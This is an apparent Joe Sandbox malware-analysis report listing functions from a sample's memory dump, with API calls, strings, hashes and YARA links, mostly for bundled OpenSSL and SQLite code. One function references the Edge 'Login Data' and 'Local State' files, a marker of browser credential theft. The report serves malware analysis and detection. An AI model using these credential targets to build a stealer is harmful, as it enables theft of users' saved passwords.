Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FolderFreeKnownPathTask__stdio_common_vsprintf
String ID: %ls\Microsoft\Edge\User Data\Default\Login Data$%ls\Microsoft\Edge\User Data\Local State
API String ID: 3618081814-1869849198
Opcode ID: 9504113eba6876045dad917c33a3544a757675f62d5224b25ede6bc1876f1990
Instruction ID: 46fa64b486fd8ffff53582dba56c84818195d9d8dc345719f34993d6215e0984
Opcode Fuzzy Hash: 9504113eba6876045dad917c33a3544a757675f62d5224b25ede6bc1876f1990
Instruction Fuzzy Hash: 20F0E579800108F7DB11DB918C4BFDDBA29DB45718F300060F611B48A3DFB27B60A608

Function 100C7D80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100C7DAA
__fprintf_l.LIBCMT ref: 100C7DDB

Strings

X509_PUBKEY_get0, xrefs: 100C7D8D, 100C7DC1
crypto\x509\x_pubkey.c, xrefs: 100C7D97, 100C7DCB

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: X509_PUBKEY_get0$crypto\x509\x_pubkey.c
API String ID: 3906573944-1797475829
Opcode ID: 0ecea10ec7a0f05efcca0756eb81e81766ae1fdd753ed36c926e3cfc3a2585b5
Instruction ID: f7b9f33376345ef5caac3aa4353402b9afce81f032aad2af798ca925d666201f
Opcode Fuzzy Hash: 0ecea10ec7a0f05efcca0756eb81e81766ae1fdd753ed36c926e3cfc3a2585b5
Instruction Fuzzy Hash: 0BE01AB87C024171E110EA756C4BF5EA2E4EF00B49F858484FB4DFD1C7EA90B854A06B

Function 10082480 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,100674A0,?,?,crypto\threads_win.c,000000B7,?,10078EA2,1006F75D), ref: 1008248F
CloseHandle.KERNEL32(?,?,?,100674A0,?,?,crypto\threads_win.c,000000B7,?,10078EA2,1006F75D), ref: 10082498
DeleteCriticalSection.KERNEL32(00000000,?,?,100674A0,?,?,crypto\threads_win.c,000000B7,?,10078EA2,1006F75D), ref: 100824A5

Strings

crypto\thread\arch\thread_win.c, xrefs: 100824B0, 100824C1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CloseHandle$CriticalDeleteSection
String ID: crypto\thread\arch\thread_win.c
API String ID: 2166061224-2915021490
Opcode ID: 5e642a934d3ff75d0768e39fd40e585f4f7d019ec31317be0982d64b8d5194dc
Instruction ID: 1981e422d8913011c4a05db6e89fa35ac30165971ed8108a30577347046c023a
Opcode Fuzzy Hash: 5e642a934d3ff75d0768e39fd40e585f4f7d019ec31317be0982d64b8d5194dc
Instruction Fuzzy Hash: B6F0A979000622EBD740CF99CC8CB4AFBB9FF98700F108205F10A96261DB72A4A08B20

Function 101A90E0 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 380COMMON

Download Yara Rule

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101A910C, 101A9163
%s at line %d of [%.10s], xrefs: 101A911B, 101A9172
database corruption, xrefs: 101A9116, 101A916D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 0-3771113395
Opcode ID: fb061cd437c6e30c5b2088033b3d9d286152a7b5f1892e908e282e5a70e1fe0f
Instruction ID: ab05739a8110a62f3e96cf7e42eb3dfd38ca1bb911c04076614063b66d45c770
Opcode Fuzzy Hash: fb061cd437c6e30c5b2088033b3d9d286152a7b5f1892e908e282e5a70e1fe0f
Instruction Fuzzy Hash: 3AD18BB9A08342DFC704CF69C980A5AB7E6FF88254F44496EF94997300E735ED85CB92

Function 101AC530 Relevance: 6.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101AC5BD
__allrem.LIBCMT ref: 101AC667
__allrem.LIBCMT ref: 101AC681
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,101D2B6D,?,8591EBC0), ref: 101AC690

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __allrem$Unothrow_t@std@@@__ehfuncinfo$??2@memmove
String ID:
API String ID: 3210602496-0
Opcode ID: db4b2e1f5e7f51f3ef9ef8c283ce004515479d6cf86b5ceb4ddf3cf7574e988e
Instruction ID: 36ecd0dd91c3f1d4aa3fdee063f4887e90898ade1f13529f262bead520368931
Opcode Fuzzy Hash: db4b2e1f5e7f51f3ef9ef8c283ce004515479d6cf86b5ceb4ddf3cf7574e988e
Instruction Fuzzy Hash: 2D5156B9A08344DFC300CF68C980A2AB7E5FF89694F165969F888DB311D735EC51CB92

Function 102A0961 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 102A09AE

Part of subcall function 102A1BF0: InitializeSListHead.KERNEL32(10348068,102A09B8,1033F380,00000010,102A0949,?,?,?,102A0B71,?,00000001,?,?,00000001,?,1033F3C8), ref: 102A1BF5

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(102A6638,102A663C,1033F380,00000010,102A0949,?,?,?,102A0B71,?,00000001,?,?,00000001,?,1033F3C8), ref: 102A09C7
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(102A662C,102A6634,1033F380,00000010,102A0949,?,?,?,102A0B71,?,00000001,?,?,00000001,?,1033F3C8), ref: 102A09E5
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 102A0A18

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: f537562b9d85a78dc7b49c442da1b63a2115d62fdd56e4ce14021bab2911d39e
Instruction ID: 5de1eca878536d8e5ea0e306568bc7f94eca37948693d560b775c65473db4423
Opcode Fuzzy Hash: f537562b9d85a78dc7b49c442da1b63a2115d62fdd56e4ce14021bab2911d39e
Instruction Fuzzy Hash: 5E21013A684312DADB24EFB888463CD3765DF567F4F300446F9856ADC2CF292864CA16

Function 10235D70 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,00000000,?,-000000DF,?,-000000DF,?), ref: 10235DB6

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 10235E22
%s at line %d of [%.10s], xrefs: 10235E31
database corruption, xrefs: 10235E2C

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 2221118986-3771113395
Opcode ID: 552f05f29ae0568afd2a88cdf230ba0eb4c49e79eb26337638c1b04a0255dc83
Instruction ID: 84ff53d15120454d633540a335d27324d7f56dbb2aba56a01d847a58202c907d
Opcode Fuzzy Hash: 552f05f29ae0568afd2a88cdf230ba0eb4c49e79eb26337638c1b04a0255dc83
Instruction Fuzzy Hash: 282102B6A042166BC310EE08EC01AAB73E8EF98711F46443DFC49DB250D771E9298792

Function 1005005B Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 1004FEC3: ?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004FEE7

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,DB3A51AF,1004C26B,1004C26B,?,102A52E2,000000FF,?,1004EACC,1004C26B), ref: 1005009C
?tie@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_ostream@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140(?,1004EACC,1004C26B), ref: 100500BD

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@2@W@std@@@std@@$?good@ios_base@std@@?rdbuf@?$basic_ios@_?tie@?$basic_ios@_V?$basic_ostream@_V?$basic_streambuf@_
String ID:
API String ID: 3565126476-0
Opcode ID: cb2ad622213958db13fcae003741d9ee30e0c709c301d4b8aa8a8b7f02fd354d
Instruction ID: 08510924d585313050e2dc5340ff8f55f9ce14914b6339672542b1d294f3804b
Opcode Fuzzy Hash: cb2ad622213958db13fcae003741d9ee30e0c709c301d4b8aa8a8b7f02fd354d
Instruction Fuzzy Hash: E321077460465ADFCB15CF58C988BADBBB1FF49354F108159F8169B3A1CB31E944CB50

Function 10252FC0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?), ref: 10252FD3
__alldvrm.LIBCMT ref: 10252FED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10253014
GetTickCount.KERNEL32 ref: 10253031

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1296068966-0
Opcode ID: 9d2ce926a892cee50a0a4a59ed5f95ddb3582d0535c63281158d544dfbce18b2
Instruction ID: d1301be1c6e741209a1cc7f677b6d642dc18cbfe4cb8f5850abe122e69ecd680
Opcode Fuzzy Hash: 9d2ce926a892cee50a0a4a59ed5f95ddb3582d0535c63281158d544dfbce18b2
Instruction Fuzzy Hash: A711A075504306AFCB48DF69EC86A6AFFE9EBC8310F508529F108CA260DA31A858DB55

Function 102A086C Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1004EEEF,00001000,1004FBE3), ref: 102A0874
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1004EEEF,00001000,1004FBE3), ref: 102A0881
_CxxThrowException.VCRUNTIME140(?,1033F404), ref: 102A1B35
_CxxThrowException.VCRUNTIME140(?,1033F1D4), ref: 102A1B52

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID:
API String ID: 4113974480-0
Opcode ID: 183ae869fb11d5f0aee396ee06bf7e09deb2f89a294e3a23cc8dd6bd4744e2ba
Instruction ID: 6d7bbee565b804ef5c5651854c4c7ed35f10f6610650d262485d95e9d7846903
Opcode Fuzzy Hash: 183ae869fb11d5f0aee396ee06bf7e09deb2f89a294e3a23cc8dd6bd4744e2ba
Instruction Fuzzy Hash: 7FF0903880020EFA8B00EAA5ED85C9D776CD9003A0B704171B82495CA1EF74FA79C9D4

Function 10082430 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(10067974,?,?,10067974,?,?), ref: 10082438
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,OPENSSL_finish), ref: 10082448
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,OPENSSL_finish), ref: 10082462
ReleaseSemaphore.KERNEL32(0001AE54,4C8B08C4,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,OPENSSL_finish), ref: 1008246E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 185cf752fde06116586bac38392c9abe8f2e1e8e2f3e6025818803915fde8191
Instruction ID: da206afb06d10e23ce18933c028242eb11ace693ef75e1e4beb1b6ec3a8a6ae1
Opcode Fuzzy Hash: 185cf752fde06116586bac38392c9abe8f2e1e8e2f3e6025818803915fde8191
Instruction Fuzzy Hash: 03E0AC39104614DFC7315F55EC4CA47BBB4FFC9321F11841EE59A82621CB71A8468F90

Function 1006EF90 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1006EFD5

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

Strings

OPENSSL_init_crypto, xrefs: 1006EFB9
crypto\init.c, xrefs: 1006EFC3

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireExclusiveLock__fprintf_l
String ID: OPENSSL_init_crypto$crypto\init.c
API String ID: 3216713783-71836078
Opcode ID: 709ec0d44a041b350691c9566e56e801d15d5ff30c3ff2b3791573d4fb42a515
Instruction ID: 7b2c55f7c9552469294594b068a3c84009d4e00aefcb1f5d8fd8481f77736973
Opcode Fuzzy Hash: 709ec0d44a041b350691c9566e56e801d15d5ff30c3ff2b3791573d4fb42a515
Instruction Fuzzy Hash: 26A10A76A6022B97DB00CF34DC42BF526C3EB99790F541638F858D61A2FF15E904EA63

Function 101D25F0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D26F2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D274B

Strings

recovered %d pages from %s, xrefs: 101D293A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: recovered %d pages from %s
API String ID: 885266447-1623757624
Opcode ID: c259efc8749f0647432c798f1962606b435e9555dfa73728e170b16868ac011d
Instruction ID: 2c79d88db2ef76b2d12ec2f824a985e6acb2363144298a397ff04e39c877621f
Opcode Fuzzy Hash: c259efc8749f0647432c798f1962606b435e9555dfa73728e170b16868ac011d
Instruction Fuzzy Hash: 13B19E75A04352AFC715CE64C984BAAB7E4FF656A4F420628FC64A7300E328FD15DBD2

Function 1008F7E0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

ASN1_item_ex_i2d, xrefs: 1008F86F, 1008F8BF
crypto\asn1\tasn_enc.c, xrefs: 1008F876

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: ASN1_item_ex_i2d$crypto\asn1\tasn_enc.c
API String ID: 0-2263488131
Opcode ID: 72cd25fdcc12e86050583d54bad0609c064093af88224b053cdedf8f8f8fc446
Instruction ID: 59382d4ca19f387a67588affea79982e4a5c90fa1fa235ef5a85795432fdaaed
Opcode Fuzzy Hash: 72cd25fdcc12e86050583d54bad0609c064093af88224b053cdedf8f8f8fc446
Instruction Fuzzy Hash: 3D912A75A04301BBC700DA64DC41F7B77D8FF853B4F50062EFAA982191E73AE95587A2

Function 10090070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 298COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100903D2

Strings

crypto\asn1\tasn_enc.c, xrefs: 100903BF
asn1_template_ex_i2d, xrefs: 10090234, 1009030B, 100903B5

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: asn1_template_ex_i2d$crypto\asn1\tasn_enc.c
API String ID: 3906573944-2314050132
Opcode ID: 29d355d0976b1197b8a627a8e3bca8f59437b9437feb38e283bb2643f79c2ffb
Instruction ID: 506e83246801c7fe78529ebabbe7a2803c6fd03a2acca66412190b2898094b80
Opcode Fuzzy Hash: 29d355d0976b1197b8a627a8e3bca8f59437b9437feb38e283bb2643f79c2ffb
Instruction Fuzzy Hash: FAA104719083019FD300CB64CC41B5FBBE9EFC53A4F144A2DF9A9922E2E635E945A752

Function 1005F840 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005F896

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

Part of subcall function 10067340: ReleaseSRWLockExclusive.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067352

Strings

crypto\provider_core.c, xrefs: 1005F884
get_provider_store, xrefs: 1005F87A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Lock$AcquireExclusiveReleaseShared__fprintf_l
String ID: crypto\provider_core.c$get_provider_store
API String ID: 1789333368-1804035588
Opcode ID: 9781019819de3f2c219bcb4c17a315c1e4f0e6c48c09a300ea236614af4e164f
Instruction ID: 1a544ab4be782b63babb8bf7946ced4b910ed7989361d67234664437e98b8191
Opcode Fuzzy Hash: 9781019819de3f2c219bcb4c17a315c1e4f0e6c48c09a300ea236614af4e164f
Instruction Fuzzy Hash: D251B4B5904702ABD700DE60AC42B6BB799EF00354F040638FD1996193FB6AFA1C86D3

Function 1008FE70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,0000000C,100903F0,00000000,?,?,?,?,?,?,?,?,00000000), ref: 1008FF65
memmove.VCRUNTIME140(?,?,00000004), ref: 1008FF8F

Strings

crypto\asn1\tasn_enc.c, xrefs: 1008FEAF, 1008FED6, 1008FFF4, 10090004

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmoveqsort
String ID: crypto\asn1\tasn_enc.c
API String ID: 252073326-2200013178
Opcode ID: e0f7c8990ef7ef8ed98999ee784de6e1d6c690be8eda68e3353e02ccc07551d6
Instruction ID: df020bb5765086647c56b509003d1356caf0293445745bc0ddc55107532414e2
Opcode Fuzzy Hash: e0f7c8990ef7ef8ed98999ee784de6e1d6c690be8eda68e3353e02ccc07551d6
Instruction Fuzzy Hash: 5851C579904306AFD300DB24DC81E9FB7DAFF85394F50092AFA5496212F735FA158BA2

Function 10083480 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10083677

Part of subcall function 100672C0: AcquireSRWLockShared.KERNEL32(00000000,10082EFC,00000000,00000001,?,00000000,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000), ref: 100672C4

Strings

get_and_lock, xrefs: 1008365D
crypto\ex_data.c, xrefs: 10083548, 10083632, 10083664

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AcquireLockShared__fprintf_l
String ID: crypto\ex_data.c$get_and_lock
API String ID: 2043504311-4055479251
Opcode ID: ced34ecab0f22242bf7694254b820ffddd18ce93871a47610cf5bd9e3d3f6a2b
Instruction ID: 1dea28807977d90cb9c3d16d50583e6d8d0bf3853ce7eb676f715e8a46b0ffbb
Opcode Fuzzy Hash: ced34ecab0f22242bf7694254b820ffddd18ce93871a47610cf5bd9e3d3f6a2b
Instruction Fuzzy Hash: 3A51CF75904305AFC750DF58D842A1BBBE4FF88754F41892AF88897322FB35E9248B92

Function 1007B0F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

Strings

engine_table_register, xrefs: 1007B2C5
